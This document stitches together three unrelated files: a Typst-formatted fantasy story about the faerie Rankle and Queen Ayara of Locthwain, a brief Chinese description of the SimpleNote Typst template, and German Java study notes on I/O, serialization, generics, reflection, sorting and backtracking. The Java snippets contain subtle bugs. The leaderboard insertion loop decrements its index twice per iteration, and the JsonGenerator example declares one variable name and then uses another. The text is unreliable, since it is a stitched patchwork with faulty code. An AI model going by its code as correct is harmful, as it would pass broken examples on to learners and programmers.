Rankle could see a royal procession snaking up the switchbacks toward them. Knights in black and gold armor escorted Queen Ayara's carriage up the treacherous road. Queen Ayara reigned over the Locthwain Court and had a reputation for being fierce and cunning, just like Rankle himself. She had survived countless husbands and was looking for suitors who matched her regal bearing and intelligence. Rankle watched until the carriage, draped in the purple heraldry of Locthwain, crested the hill. Even though he'd never seen her, Rankle had long admired the queen, and he snuck closer to Chulane for a better look.
"Ah, the queen approaches," Chulane said. Then suddenly, taking notice of the small figure next to him, he startled and clutched the pouch at his belt. "Ah! Faerie! Don't touch my gold."
Rankle sighed. His curiosity had ruined the element of surprise, but he still had a pocket of magic dust and plenty of time to make mischief after the spectacle had passed. Rankle stepped off the road to make room for the queen's carriage, but Chulane jumped in front of it. Immediately, two knights flanked the old man and pointed their swords at his eyes.
"Please, let me speak to our most glorious queen," Chulane begged, bowing so low that his beard almost touched the road. "Just a word. I have been most persistent!"
Rankle ducked under the carriage before anyone noticed him. Above him, he heard the carriage door open. There was a rustle of skirts as the queen stepped onto the road. She stood in front of the genuflecting Chulane.
Peering through the wheel's spokes, Rankle saw the queen's gloved hand lightly touch Chulane's shoulder.
"What long fingers you have, my queen," Chulane stuttered as he scrambled to his feet.
"What is so important, storyteller?" Ayara asked in the sweetest voice imaginable. Her voice was so compelling that Rankle maneuvered for a better view.
"Evil is coming, my queen," Chulane said. "The skies will soon open, and unimaginable horrors will rain down upon us."
"Is that so?" Ayara murmured. "Well, come inside and tell me everything."
As the two passed by him, Rankle caught a glimpse of Ayara's face. He felt like he'd been smacked by a troll. He couldn't breathe. He couldn't think. He just lay in the center of the road while knights spurred their horses onward and the carriage rolled over him, leaving strange black tracks in its wake.
#figure(image("010_Eldraine: The Adventures of Rankle, Master of Love/01.png", width: 100%), caption: [Art by: <NAME>], supplement: none, numbering: none)
But Rankle took no notice of this, for he was #emph[smitten] . The way was clear for the first time since Mags stabbed him with her pokey stick. He knew what he must do. He must become Ayara's next husband.
#v(0.35em)
#line(length: 100%, stroke: rgb(90%, 90%, 90%))
#v(0.35em)
Rankle skipped down the lane toward the village with a song in his heart. He'd never bothered to find a mate, but he considered himself a master in the affairs of the heart. Only one strategy would win the queen's heart: magic. Specifically, a love charm, potion, or spell—or maybe all three. And for those, he needed the help of a witch.
When Rankle arrived in Edgewall, he strolled down the deserted streets. The shuttered shops showed no signs of life. The only sound was the creaking wooden sign for the Three Pigs Butcher Shop. But as he neared his destination, rats began emerging from the sewers. Soon they were streaming out of the gutter, a veritable rat parade. The Piper was going to have his work cut out for him.
By the time Rankle reached the charm shop, the rats were scurrying up the walls of the shops and lining up along the top edge of the roof with their little faces toward the sky. Their strange behavior broke Rankle out of his revel. A ring of swirling smog tinged with a red glow marked the sky above the village. Rankle shrugged. It was a day for strange magics. Rankle needed some strange magics of his own.
With a flourish, he yanked open the door to the charms shop and barged into the dark, musty interior.
"I need a love potion," he announced to the empty room—which, knowing witches—was probably not empty.
"Go away, little fae," said a disembodied voice. "Can't you see I'm busy?"
"I can't see you at all," Rankle said reasonably. "And I'm not leaving until I get what I want."
The empty room sighed. When nothing happened, Rankle went to a nearby shelf jammed full of skulls, herbs, and a rainbow of colorful portions.
"These are nice," Rankle mused, running his finger along the glass bottles.
"Don't touch," the empty room admonished him.
Rankle grabbed a large bottle with a golden liquid and held it over his head.
"Hold on—"
Rankle smashed the bottle on the floor. Searing white light burst upward, singeing his hair and scorching the ceiling, but Rankle didn't pause. He reached for another bottle—blood red, how fun! But a shimmer in the corner made him hesitate. When the glamour dispersed, an elegant—and very irritated—woman towered over him.
"What if you just smashed the very thing you came for?" she asked.
Rankle stopped, impressed by the woman's mind-reading powers. "How do you know what I came for?"
The witch wearily rubbed her eyes. "Why do you want a love potion?"
"I must marry Queen Ayara!" Rankle proclaimed.
"You and everyone else from here to Garenbrig," the witch said. "Love potions are creepy, and we have bigger problems. Now, hurry along. I must finish my packing."
Rankle reached for a bottle of pickled grubs. "What problem? The rats? Is this a love potion? It's not, right?"
"No~" the witch began.
Rankle smashed the bottle. The glass smashed, the liquid sloshed over his feet, and the grubs began bouncing around the room like tiny rubber balls.
"Ooh," Rankle said, impressed.
Suddenly, there was a whoosh of air, and Rankle was magically whisked off the ground. Motionless and hovering, he found himself nose to nose with the witch.
"You have pretty eyes," Rankle muttered. "But not as nice as my Ayara."
"You are just a little void of destruction and misery, aren't you," the witch hissed. "I'm leaving Edgewall to rendezvous with some kin of yours~"
"Mags and that lot?" Rankle interrupted." We're not related, and they're mean as a bag of badgers."
"No, your taller, more erudite, and less unruly kin," she said. "I'm going to give you a choice."
Rankle was tired of being in one place for so long and struggled ineffectually against the witch's invisible grasp.
"You should come with me," the witch offered. "We're joining forces to fight the doom that's coming."
Rankle was barely listening. Not moving was torture. He tried to kick, flap, claw, and bite, but no muscle moved.
"You can't tell me what to do!" he howled.
"Or you can go on a quest to find a special love flower, which will win Ayara's heart forever."
Rankle stopped struggling. "Love flower," he said.
The witch rolled her eyes. "I'm shocked by your choice. It's a long and difficult journey. And you must promise not to return to Edgewall until you find it."
"Love flower!" Rankle yelled as the witch released him from her spell, and he tumbled unceremoniously onto the floor.
The witch loomed over him. "Do not abandon your quest because you're tired, hungry, or bored. Promise me, little fae."
Rankle got up, brushed himself off, and grinned. "I'm Rankle. And you have my word," he promised.
#v(0.35em)
#line(length: 100%, stroke: rgb(90%, 90%, 90%))
#v(0.35em)
Rankle was tired and bored, but he wasn't hungry thanks to his pocket full of pickled grubs.
He'd followed the witch's directions, but there were no flowers in this part of the forest, which was murky, unfamiliar, and teeming with ravens. Strange booming noises echoed above and made the birds fly in all directions—except up. Rankle couldn't see the sky through the dark branches knotted overhead. And he couldn't smell any faeries anywhere, which meant that the witch had probably sent him into hostile territory.
Maybe she'd sent him on a fool's errand for reasons he couldn't begin to fathom. Maybe even the flower was a falsehood.
"Whoever heard of a "Long-Lasting Lilac of Longing" anyway?" Rankle muttered to the nearest raven, who seemed to be cowering inside the hollow of a tree. "This is a dumb quest."
Dejected, he abandoned his search and headed back to Edgewall. He was nearing the boundary lands when a herd of elk burst out of the thicket and nearly trampled him. He escaped by hop-fluttering and pulling himself onto a low branch as they thundered past.
"Rude!" he called after them. He was about to jump down when a strange creature lurched into the clearing. Rankle squinted at the beast's white spikes and glowing red ribs. It had three tails and no eyes and was the size and shape of a dog. A thick black liquid drooled out of its mouth. Dogs slobbered. So, close enough.
"Hullo, puppy," Rankle said, hopping down from his branch. He liked dogs.
But as he approached it, a low hum began emanating from its chest, and the spines on its back unfolded. Suddenly, one of its tails shot over its back and lashed out at Rankle, who was only saved by his quick feet, which moved him out of the way before he realized what was happening.
"Bad dog!" Rankle shouted. But the beast lashed at him again, and he was forced to flit and dodge, desperately trying to avoid the great slobbering jaws. He yelped out an incantation that didn't deter its attack. Backed against the tree, he threw stones, grubs, and magic dust—to no avail. He scrunched down and closed his eyes—thinking of the lovely Ayara—as the beast huffed and opened its jaws. Hiding behind his eyelids, Rankle heard a mechanical yelp, metal scraping, and a squish. He opened his eyes and saw the beast in two halves and a red-bearded dwarf yanking his axe out of the carnage. Rankle's eyes darted from the leaking corpse to the massive axe to a golden ring glowing on the dwarf's finger.
"That's a nice~" Rankle caught himself. Best to admire the ring secretly—for now. "That's a nice axe," he finished.
"Hurry," the dwarf said. "There's more on the way."
Seeing as how the dwarf had a big axe #emph[and] a shiny ring, Rankle followed.
#figure(image("010_Eldraine: The Adventures of Rankle, Master of Love/02.png", width: 100%), caption: [Art by: <NAME>], supplement: none, numbering: none)
#v(0.35em)
#line(length: 100%, stroke: rgb(90%, 90%, 90%))
#v(0.35em)
The night was unnaturally black and foul. Strange creatures chittered from the shadows. But the worst thing of all was the dwarf. Torbran, Thane of Something or Other, would not shut up about evil seed pods and a really mean tree. But at least Torbran had found them a nice cave halfway up a cliff to spend the night, and the dwarf would have to sleep sometime.
"The courts have fallen," the dwarf said in a quivery voice. "The Kenriths are gone."
Rankle yawned and tried to get comfortable on the cave's rocky floor.
"Tomorrow, we must make our stand against these foul invaders. I have a very important task, and I will need your help. When we arrive at Locthwain~"
Rankle perked up. Locthwain? He couldn't believe his luck. The dwarf had led him directly to his true love. With a little luck, he would have a new ring for his marriage proposal.
"You will see the gravity of our task." Torbran continued. But then a strange noise stopped him. It sounded like the lowering of a drawbridge combined with screaming. It reverberated around the cave and echoed across the valley. The dwarf grabbed his axe and peered outside into the darkness.
"Do not fear," Torbran said when the sound faded away. "We have laid a trap for these monsters. I must find a way to play my part. Fate has brought us together~"
Rankle fake-snored as loudly as he could, hoping the dwarf would finally take a hint. Torbran sighed and settled against the wall, wrapping his cloak around him and keeping one hand on the axe. Soon, he was snoring for real.
Rankle waited until just before dawn. He crept silently to the entrance and surveyed his surroundings. The cliffside cave overlooked the grange and Locthwain Castle, just as he suspected. Roiling storm clouds obscured everything but the spires of the floating castle, and there were some very strange beanstalks coming out of the clouds, but that was inconsequential to the next phase of his plan: steal the ring off Torbran's finger.
Rankle sat down near, but not too near, the sleeping dwarf. He took some faerie dust out of his pocket and sprinkled it on the golden ring. Quietly, he muttered an incantation and was delighted to see that it worked. The ring had transformed into a caterpillar. Rankle could barely contain his excitement as it crawled off Torbran's finger and inched across the ground toward him. Unfortunately, before it reached him, the dwarf opened his eyes.
"I can't believe I fell asleep," Torbran said. "Gather yourself. We must set out at once."
Rankle kept one eye on the creeping ring-turned-caterpillar. If only it would reach him before the dwarf noticed that~
"My ring is gone!" Torbran shouted.
Quick as you please, Rankle scooped up the caterpillar while Torbran frantically searched around him. The dwarf's panic confirmed Rankle's suspicion: this wasn't just a shiny ring. It was a shiny, magical ring.
"Did you take it?" Torbran demanded.
Rankle shook his head and began licking the caterpillar to remove the magical dust.
"What are you doing?" Torbran thundered. "Have you lost your wits?"
With one last lick, the caterpillar turned back into a ring. Rankle stood up and hid the ring behind his back, but the jig was up. Torbran looked shocked, crestfallen even.
"Are you going to cry?" Rankle asked.
"I saved your life, and this is how you repay me?" Torbran asked.
"Is it a wishing ring?" Rankle wondered. "I've always wanted a wishing ring."
"It is not," Torbran said, but there was a slight warble to his voice.
"Well, let's find out. I wish for a basket of goodies!"
Torbran lunged at him, tripping over the basket of cookies that had suddenly appeared. He was about to lunge again when Rankle held up his hand.
"Come after me again, and I'll wish you were a turtle," Rankle warned. "In a swamp. Miles from here."
Torbran backed away. "Did you not hear me last night? Our kind is meant to work together."
Rankle picked up the basket and twirled around the cave marveling at his good fortune. He had a wishing ring #emph[and] a basket of cookies!
"Our home has been violated," Torbran said. "We have one chance to stop them, but I need my ring."
"Should I wish Ayara was here?" Rankle asked. "Or that it's our wedding day? Or is that rushing it?"
"How can you think about marrying Ayara when the plane is doomed?" Torbran demanded. "Open your eyes! Those abominations have overrun the courts and are coming for fae kind next."
"Those are my future subjects," Rankle protested. "#emph[Abominations] is a bit mean, don't you think?"
"Everything you care about will be destroyed unless you give me that ring," Torbran shouted.
Rankle paused. Ayara might be destroyed? He didn't want that.
"So, with this ring, you can just wish away this~ what did you call it, invasion?" Rankle asked.
Torbran wrung his hands in frustration. "No, I can't wish for something so powerful and far-reaching. It must be something of this plane, if that makes any sense to you."
"It sounds like I have more of a plan than you do," Rankle said. "Let's go with mine."
"No, I have plan~" Torbran began.
"I wish for a love potion!" Rankle interrupted. A pink, sparkly potion instantly appeared in his hand.
Torbran squeaked and spluttered and squeaked again. Rankle hot-footed it out of the cave and down the slope toward Locthwain. Torbran lumbered behind him, still squeak-spluttering.
"Have you seen Ayara?" Rankle called over his shoulder. "She's as beautiful as a sunrise. As delicate as dew on the morning rose. As wise as a thousand sages."
Behind him, Torbran finally found his words: "Give me the ring! There's only one wish left."
They had nearly reached the valley when the clouds dispersed as if waved away by a giant, and Locthwain was unveiled. Rankle froze. No longer hovering, the castle had crashed into the ground, its spire canted at an unnatural angle, and its battlements freakishly transformed. The sky writhed with the strange, metallic beanstalks.
"How can you not weep for what Eldraine has become?" Torbran whispered beside him.
Legions of Locthwain knights stood in formation, ready for battle. But they were no longer the regal soldiers he'd seen on the hillside. Their armor had infested their skin, and ropes of red sinew and white spikes had become horrible adornments on their bodies. Flocks of strange dogs slobbered beside grim carriages of white bone and red flesh.
"There's so many of them," Rankle said, awed by the sheer numbers in the valley.
A trumpet sounded, and the queen emerged from the grim castle. To Rankle's shock, she was not herself. Her flesh had been replaced with dark plates and glowing embers. Spikes jutted out of her arms and face. Her heart beat within a hollow ribcage as she marshaled her troops in a harsh, unfamiliar language.
Rankle stared at the love potion clutched in his hands. "Perhaps I was too hasty in my affections."
#figure(image("010_Eldraine: The Adventures of Rankle, Master of Love/03.png", width: 100%), caption: [Art by: <NAME>], supplement: none, numbering: none)
"As you waste wishes, we are fighting in the wilds, trying to save our plane," Torbran said.
Suddenly, the ground moved beneath their feet, and a deafening rumble resonated across the valley. Vast and deep, it seemed to emanate from the very heart of the plane. Torbran got down on his knees, placed his hands on Rankle's shoulders, and looked him in the eye: "A great chasm is about to open in the valley. I don't know how yet, but I must lure our enemies into that chasm. I'm begging you. Please give me the ring."
Rankle stared out across the valley. "Into the chasm, you say," he murmured.
Torbran nodded solemnly. "That ring is our only chance to save our plane," he said.
Rankle allowed himself one last look at Queen Ayara. Then he gazed into the hopeful eyes of the dwarf. Rankle nodded sadly and held out the ring. Torbran's face brightened until Rankle opened his mouth.
"I wish it would rain~" Rankle screamed.
Shocked, Torbran sank to the ground in despair. "You've killed us all."
"I wish it would rain #emph[this] !" Rankle finished, holding up the love potion.
Instantly, the skies opened, and drops of pink rain began to fall. Nearby, the ground roiled and cracked open with a thunderous boom. A great rift slashed across the valley where solid ground had been moments before. The enchanted rain drenched the hordes, who milled about in confusion.
"Behold me," Rankle screamed to them. "For I am your king!"
"Wait!" Torbran cried. "What are you doing?"
"There's so many of them," Rankle said gleefully. "Wait 'til Mags sees me now!"
Torbran grabbed for him, but Rankle easily dodged and leaped off the hillside. Flapping his one good wing, he clumsily soared toward the chasm.
By now, every twisted knight, twittering abomination, and gargling monstrosity had their eyes on the faerie, who landed near the edge of the chasm. Rankle hop-fluttered along the edge. Under the influence of the love potion downpour, they were instantly lovestruck by the tiny fae. Hearts aflame, the entire legion moved en masse toward their heart's desire. Rankle stopped on the edge and faced off against the chittering masses.
"Catch me if you can!" he howled and fell backward into the chasm.
Wave after wave followed him, pouring over the edge like lovestruck lemmings. Desperately flapping, Rankle managed to hover mid-air as the legions hurled themselves toward him and fell to the bottom of the chasm. Pleased by the longing in their beguiled eyes, Rankle drank in their screeches of adoration.
Suddenly, a new sound competed with the wails and meaty thuds of falling hordes. It was a beautiful sound: ancient, powerful, and familiar. It was both nowhere and all around him. A powerful spell of many voices, Rankle realized. He was getting sleepy, and his lone wing was no longer holding him aloft. As he slowly sunk toward the bodies piled up below, Rankle could see that everyone in the chasm had fallen into an unnatural sleep. #emph[Must be part of Torbran's plan] , Rankle thought to himself not caring at all. Surrounded by his devoted admirers, he slowly drifted down to rest on a throne of fallen admirers. He'd never felt so wanted. He'd never been so loved.
|
|
https://github.com/a-kkiri/SimpleNote | https://raw.githubusercontent.com/a-kkiri/SimpleNote/main/content/chapter1.typ | typst | Apache License 2.0 | #import "../template.typ": *
= 模板说明
#link("https://github.com/a-kkiri/SimpleNote")[SimpleNote] #cite(<SimpleNote>) 修改自 #link("https://github.com/jskherman/jsk-lecnotes")[jsk-lecnotes],是一个简单的 Typst 模板。本模板主要适用于编写课程笔记,默认页边距为2.5cm,默认使用的中文字体为 Noto Sans CJK SC,英文字体为 Linux Libertine,字号为12pt(小四),你可以根据自己的需求进行更改,如需使用伪粗体或伪斜体,可以使用外部包 #link("https://typst.app/universe/package/cuti")[cuti]。封面图片由 #link("https://tabbied.com/")[Tabbied] 生成。
默认模板文件由主要以下六部分组成:
#list(
[main.typ 主文件],
[template.typ 文档格式控制,包括一些基础的设置、函数],
[refs.bib 参考文献],
[content 正文文件夹,存放正文章节],
[fonts 字体文件夹],
[figures 图片文件夹]
)\ #v(-16pt)
使用模板首先需配置 main.typ,设置标题、描述、作者等信息。如需要进一步更改文档格式,请修改 template.typ。 |
https://github.com/DamienFlury/summaries | https://raw.githubusercontent.com/DamienFlury/summaries/main/OOP2/main.typ | typst | #import "@preview/ctheorems:1.1.2": *
#show: thmrules
#let info = thmbox("info", "Info", fill: rgb("#eeeeff")).with(numbering: none)
#set page(flipped: true, margin: 10pt, columns: 3)
#set text(lang: "de", size: 7pt)
#set par(justify: true)
#show raw: set text(font: "Monaspace Neon")
#set heading(numbering: "1.1")
#let definition(text) = box()[_Definition:_ #text]
#set image(width: 60%)
= Input und Output
#figure(image("images/class-hierarchy-io.png"), caption: [Klassenhierarchie von Input und Output])
== Input
=== File-Reader
```java
try (var reader = new FileReader("quotes.txt")) {
int value = reader.read();
while (value >= 0) {
char c = (char) value;
// use character
value = reader.read();
}
}
```
```java
new FileReader(f);
// ist äquivalent zu
new InputStreamReader(new FileInputStream(f));
```
=== Zeilenweises Lesen
```java
try (var reader = new BufferedReader(new FileReader("quotes.txt")) {
String line = reader.readLine();
while (line != null) {
System.out.println(line);
line = reader.readLine();
}
}
```
#info[`FileReader` liest einzelne Zeichen, `BufferedReader` liest ganze Zeilen.]
== Output
=== File-Writer
```java
try (var writer = new FileWriter("test.txt", true)) {
writer.write("Hello!");
writer.write("\n");
}
```
== Zusammenfassung
- Byte-Stream: Byteweises Lesen von Dateien
- FileInputStream, FileOutputStream
- Character-Stream: Zeichenweises Lesen von Dateien (UTF-8)
- FileReader, FileWriter
= Serialisierung
Das `Serializable`-Interface implementieren (Marker-Interface). Ohne Marker-Interface wird eine `NotSerializableException` geworfen.
Jedes Feld, das serialisiert werden soll, muss ebenfalls `Serializable` implementieren (Transitive Serialisierung).
```java
class Person implements Serializable {
private static final long serialVersionUID = 1L;
private String firstName;
private String lastName;
// …
}
```
Das kann dann vom ObjectOutputStream verwendet werden, um Data Binär zu serialisieren:
```java
try (var stream = new ObjectOutputStream(new FileOutputStream("serial.bin"))) {
stream.writeObject(person);
}
```
Um ein Objekt aus einem Bytestrom zu deserialisieren, wird der ObjectInputStream verwendet:
```java
try (var stream = new ObjectInputStream(
new FileInputStream("serial.bin"))) {
Person p = (Person) stream.readObject();
// …
}
```
== Serialisierung mit Jackson
```java
Employee e = new Employee(1, "<NAME>");
String jsonString = mapper.writeValueAsString(e);
var writer = new PrintWriter(FILE_PATH);
writer.println(jsonString);
writer.close();
```
Output:
```json
{"id":1,"name":"<NAME>"}
```
=== Beeinflussung der Serialisierung
```java
public class WeatherData {
@JsonProperty("temp_celsius")
private double tempCelsius;
}
```
```java
@JsonPropertyOrder({"name", "id"})
public class Employee{
public int id;
public String name;
}
```
`@JsonIgnore`, `@JsonInclude(Include.NON_NULL)` (nur nicht-null-Werte), `@JsonFormat(pattern = "dd-MM-yyyy")`
```java
@JsonRootName(value="user")
public class Customer {
public int id;
public String name;
}
// ...
var mapper = new ObjectMapper().enable(
SerializationFeature.WRAP_ROOT_VALUE
);
```
Output:
```json
{
"user": {
"id": 1,
"name": "<NAME>"
}
}
```
=== JsonGenerator
```java
var generator = new JsonFactory().createGenerator(
new FileOutputStream("employee.json"), JsonEncoding.UTF8);
jsonGenerator.writeStartObject();
jsonGenerator.writeFieldName("identity");
jsonGenerator.writeStartObject();
jsonGenerator.writeStringField("name", company.name);
jsonGenerator.writeEndObject();
```
=== Deserialisierung
```java
String json = "{\"name\":\"Max\", \"alter\":30}";
ObjectMapper mapper = new ObjectMapper();
Benutzer benutzer = mapper.readValue(json, Benutzer.class); // throws JsonMappingException
```
Deserializer:
```java
public class CompanyJsonDeserializer extends JsonDeserializer {
@Override
public Company deserialize(JsonParser jP, DeserializationContext dC) throws IOException {
var tree = jP.readValueAs(JsonNode.class);
var identity = tree.get("identity");
var url = new URL(tree.get("website").asText());
var nameString = identity.get("name").asText();
var uuid = UUID.fromString((identity.get("id").asText()));
return new Company(nameString, url, uuid);
}
}
```
\@JacksonInject:
```java
public class Book {
public String name;
@JacksonInject
public LocalDateTime lastUpdate;
}
InjectableValues inject = new InjectableValues.Std()
.addValue(LocalDateTime.class, LocalDateTime.now());
Book[] books = new ObjectMapper().reader(inject)
.forType(new TypeReference<Book[]>(){}).readValue(jsonString);
```
= Generics
== Iterator
```java
for (Iterator<String> it = list.iterator(); it.hasNext(); ) {
String s = it.next();
System.out.println(s);
}
```
=== Iterable und Iterator
#grid(columns: 2, gutter: 2em,
```java
interface Iterable<T> {
Iterator<T> iterator();
}
```,
```java
interface Iterator<T> {
boolean hasNext();
T next();
}
```
)
Klassen, die `Iterable` implementieren, können in einer enhanced `for`-Schleife verwendet werden:
== Generische Methoden
```java
public static <T> Stack<T> multiPush(T value, int times) {
var result = new Stack<T>();
for(var i = 0; i < times; i++) {
result.push(value);
}
return result;
}
```
Typ wird am Kontext erkannt:
```java
Stack<String> stack1 = multiPush("Hallo", 3);
Stack<Double> stack2 = multiPush(3.141, 3);
```
Generics mit Type-Bounds verwenden immer `extends`, kein `implements`.
Vorsicht:
```java
private static <T extends Comparable<T>> T majority(T x, T y, T z) {
// ...
}
// ...
Number n = majority(1, 2.4232, 3); // Compilerfehler
Main.<Number>majority(1, 2.4232, 3); // Eigentlich OK, aber Number hat keine Comparable-Implementierung
```
Die JVM hat keine Typinformationen zur Laufzeit #sym.arrow Non-Reifiable Types, Type-Erasure.
== Wildcards
```java
public static void printAnimals(List<? extends Animal> animals) {
for (Animal animal : animals) {
System.out.println(animal.getName());
}
}
public static void main(String[] args) {
List<Animal> animalList = new ArrayList<>();
printAnimals(animalList);
List<Cat> catList = new ArrayList<>();
printAnimals(catList);
}
```
== Variance
#[
#let no = text(red, sym.times.big)
#let yes = text(green, sym.checkmark)
#table(columns: 5, stroke: none, table.header([], [*Typ*], [*Kompatible Typ-Argumente*], [*Lesen*], [*Schreiben*]), [*Invarianz*], [`C<T>`], [T], yes, yes, [*Kovarianz*], [`C<? extends T>`], [T und Subtypen], yes, no, [*Kontravarianz*], [`C<? super T>`], [T und Basistypen], no, yes, [*Bivarianz*], [`C<?>`], [Alle], no, no)
]
== Generics vs ArrayList
```java
ArrayList<String> stringsArray = new ArrayList<>();
ArrayList<Object> objectsArray = stringsArray; // Compilerfehler
String[] stringsArray = new String[10];
Object[] objectsArray = stringsArray; // OK
objectsArray[0] = Integer.valueOf(2); // Exception
```
Kompiliert nicht mit Subtypen:
```java
Object[] objectsArray = new Object[10];
String[] stringsArray = objectsArray; // Compilerfehler
```
=== Kovarianz
```java
Stack<? extends Graphic> stack = new Stack<Rectangle>();
stack.push(new Graphic()); // nicht erlaubt
stack.push(new Rectangle()); // auch nicht erlaubt
```
#sym.arrow Kovariante generische Typen sind *readonly*.
=== Kontravarianz
```java
public static void addToCollection(List<? super Integer> list, Integer i) {
list.add(i);
}
List<Object> objects = new ArrayList<>();
addToCollection(objects, 1); // OK
```
Lesen aus Collection mit Kontravarianz ist nicht möglich:
```java
Stack<? super Graphic> stack = new Stack<Object>();
stack.add(new Object()); // Nicht OK, Object ist kein Graphic
stack.add(new Circle()); // OK
Graphic g = stack.pop(); // Compilerfehler
```
=== PECS
> Producer Extends, Consumer Super
```java
<T> void move(Stack<? extends T> from, Stack<? super T> to) {
while (!from.isEmpty()) {
to.push(from.pop());
}
}
```
=== Bivarianz
Schreiben nicht möglich, Lesen mit Einschränkungen:
```java
static void appendNewObject(List<?> list) {
list.add(new Object()); // Compilerfehler
}
```
```java
public static void printList(List<?> list) {
for (Object elem: list) {
System.out.print(elem + " "); // OK
}
System.out.println();
}
```
= Annotations und Reflection
Beispiele für Annotations:
- `@Override`
- `@Deprecated`
- `@SuppressWarnings(value = "unchecked")`
- `@FunctionalInterface`
== Implementation von Annotations
```java
@Target(ElementType.METHOD) // oder TYPE, FIELD, PARAMETER, CONSTRUCTOR
@Retention(RetentionPolicy.RUNTIME) // oder SOURCE, CLASS
public @interface Profile { }
```
== Reflection
```java
Class c = "foo".getClass();
Class c = Boolean.class;
```
Wichtige Methoden von `Class`:
- ```java public Method[] getDeclaredMethods() throws SecurityException```
- ```java public Constructor<?>[] getDeclaredConstructors() throws SecurityException```
- ```java public Field[] getDeclaredFields() throws SecurityException```
=== Methoden
- ```java public String getName()```
- ```java public Object invoke(Object obj, Object... args)```
=== Auswahl annotierter Methoden
```java
for (var m : methods) {
if(m.isAnnotationPresent(Profile.class)) {
PerformanceAnalyzer.profileMethod(testFunctions, m, new Object[] {array});
}
}
```
=== Aufruf und Profiling der Methoden
```java
public class PerformanceAnalyzer {
public static void profileMethod(Object object, Method method, Object[] args) {
long startTime = System.nanoTime();
try {
method.invoke(object, args);
} catch (IllegalAccessException | InvocationTargetException e) {
e.printStackTrace();
}
long endTime = System.nanoTime();
long elapsedTime = endTime - startTime;
System.out.println(method.getName() + " took " + elapsedTime + " nanoseconds to execute.");
}
}
```
= Arrays und Listen
== Sortieren
=== Platz finden und Platz schaffen
Beispiel (Highscore-Liste):
- Iteration vom Ende zu Beginn
- Neuer Score grösser als Score an `position - 1`?
- Ja: Kopiere `position - 1` an `position`
- Nein: Iteration abbrechen
- Eintrag an `position` speichern
#figure(image("images/leaderboard.png"), caption: [Leaderboard])
```java
public void add(GameEntry entry) {
int newScore = entry.getScore();
if(isHighscore(newScore)) {
if(numEntries < board.length) {
numEntries++;
}
int j = numEntries - 1;
for(; j > 0 && board[j - 1].getScore() < newScore; j--) {
board[j] = board[j - 1]
j--;
}
board[j] = entry;
}
}
```
=== Insertion Sort
```java
public static <T extends Comparable<T>> void insertionSort(T[] data) {
for (int i = 1; i < data.length; i++) {
T currentItem = data[i];
int j = i;
for(; (j > 0) && (data[j - 1].compareTo(currentItem) > 0); j--) {
data[j] = data[j - 1];
}
data[j] = currentItem;
}
}
```
== Linked List
=== Einfügen am Anfang
+ Neuen Knoten mit altem Kopf verketten
+ `head` auf neuen Knoten setzen
=== Einfügen am Ende
+ Neuen Knoten auf `null` zeigen lassen
+ Früheren Endknoten mit neuem Knoten verketten
+ `tail` auf neuen Knoten setzen
== Doubly Linked List
=== Einfügen eines Knotens am Anfang
```java
public void addFirst(T element) {
DoublyLinkedNode<T> newNode = new DoublyLinkedNode<>(element, null, null);
DoublyLinkedNode<T> f = header.getNext();
header.setNext(newNode);
newNode.setNext(f);
size++;
}
```
=== Entfernen eines Knotens am Ende
```java
public T removeLast() {
DoublyLinkedNode<T> oldPrevNode
= trailer.getPrev();
DoublyLinkedNode<T> prevPrevNode
= oldPrevNode.getPrev();
trailer.setPrev(prevPrevNode);
prevPrevNode.setNext(trailer);
oldPrevNode.setPrev(null);
oldPrevNode.setNext(null);
size--;
return oldPrevNode.getElement();
}
```
= Algorithmenparadigmen
#definition[*Endliches*, *deterministisches* und *allgemeines* Verfahren unter Verwendung *ausführbarer*, *elementarer* Schritte.]
== Set-Covering Problem
_Beispiel:_ Alle Staaten mit möglichst wenigen Radiosendern abdecken.
#figure(image("images/set-covering.png"), caption: [Set-Covering Problem])
*Optimaler Algorithmus:*
- Teilmengen der Stationen aufzählen
- Minimale Anzahl Stationen wählen
- Problem: $2^n$ mögliche Kombinationen
*Greedy Algorithmus:*
- Immer Sender wählen, der die meisten neuen Staaten hinzufügt
```java
public static void calculateSolution(HashSet<String> statesNeeded, HashMap<String, HashSet<String>> stations) {
var finalStations = new HashSet<String>();
while (!statesNeeded.isEmpty()) {
String bestStation = "";
var statesCovered = new HashSet<String>();
for (String station : stations.keySet()) {
var covered = new HashSet<String>(statesNeeded);
covered.retainAll(stations.get(station));
if (covered.size() > statesCovered.size()) {
bestStation = station;
statesCovered = covered;
}
}
statesNeeded.removeAll(statesCovered);
finalStations.add(bestStation);
}
System.out.println(finalStations);
}
```
== Binary Search
```java
public static <T extends Comparable<T>> boolean searchBinary(List<T> data, T target, int low, int high) {
if (low > high) {
return false;
} else {
int pivot = low + ((high - low) / 2);
if (target.equals(data.get(pivot))) {
return true;
} else if (target.compareTo(data.get(pivot)) < 0) {
return searchBinary(data, target, low, pivot - 1);
} else {
return searchBinary(data, target, pivot + 1, high);
}
}
}
```
== Backtracking
- Ziel erreicht:
- Lösungspfad aktualisieren
- *True* zurückgeben
- Wenn (x, y) bereits Teil des Lösungspfades:
- *False* zurückgeben
- (x, y) als Teil des Lösungspfades markieren
- Vorwärts in X-Richtung suchen: #sym.arrow
- Keine Lösung: In Y-Richtung abwärts suchen: #sym.arrow.b
- Keine Lösung: Zurück in X-Richtung suchen: #sym.arrow.l
- Keine Lösung: Aufwärts in Y-Richtung suchen: #sym.arrow.t
- Immer noch keine Lösung: (x, y) aus Lösungspfad entfernen und *Backtracking*
- *False* zurückgeben
Vorgehensmodell:
```
fn backtrack(k: Konfiguration)
if [k ist Lösung] then
[gib k aus]
else
for each [direkte Erweiterung k' von k]
backtrack(k')
```
=== Sudoku
```java
public boolean solve(int row, int col) {
// Lösung gefunden?
if (row == 8 && col == 9) return true;
if (col == 9) {
row++;
col = 0;
}
// Feld schon befüllt?
if (sudokuArray[row][col] != 0) {
// Wenn ja: Nächstes Feld
return solve(row, col + 1);
} else {
for (int num = 1; num <= 9; num++) {
// Ergänzung regelgerecht?
if (checkRow(row, num) && checkCol(col, num) && checkBox(row, col, num)) {
// Neue Teillösung erstellen und ergänzen
sudokuArray[row][col] = num;
if (solve(row, col + 1)) return true;
}
}
// Backtracking
sudokuArray[row][col] = 0;
return false;
}
}
```
=== Knight-Tour
```java
boolean knightTour(int[][] visited, int x, int y, int pos) {
visited[x][y] = pos;
if (pos >= N * N) {
return true;
}
for (int k = 0; k < 8; k++) {
int newX = x + row[k];
int newY = y + col[k];
if (isValid(newX, newY) && visited[newX][newY] == 0) {
if (knightTour(visited, newX, newY, pos + 1)) {
return true;
}
}
}
visited[x][y] = 0;
return false;
}
```
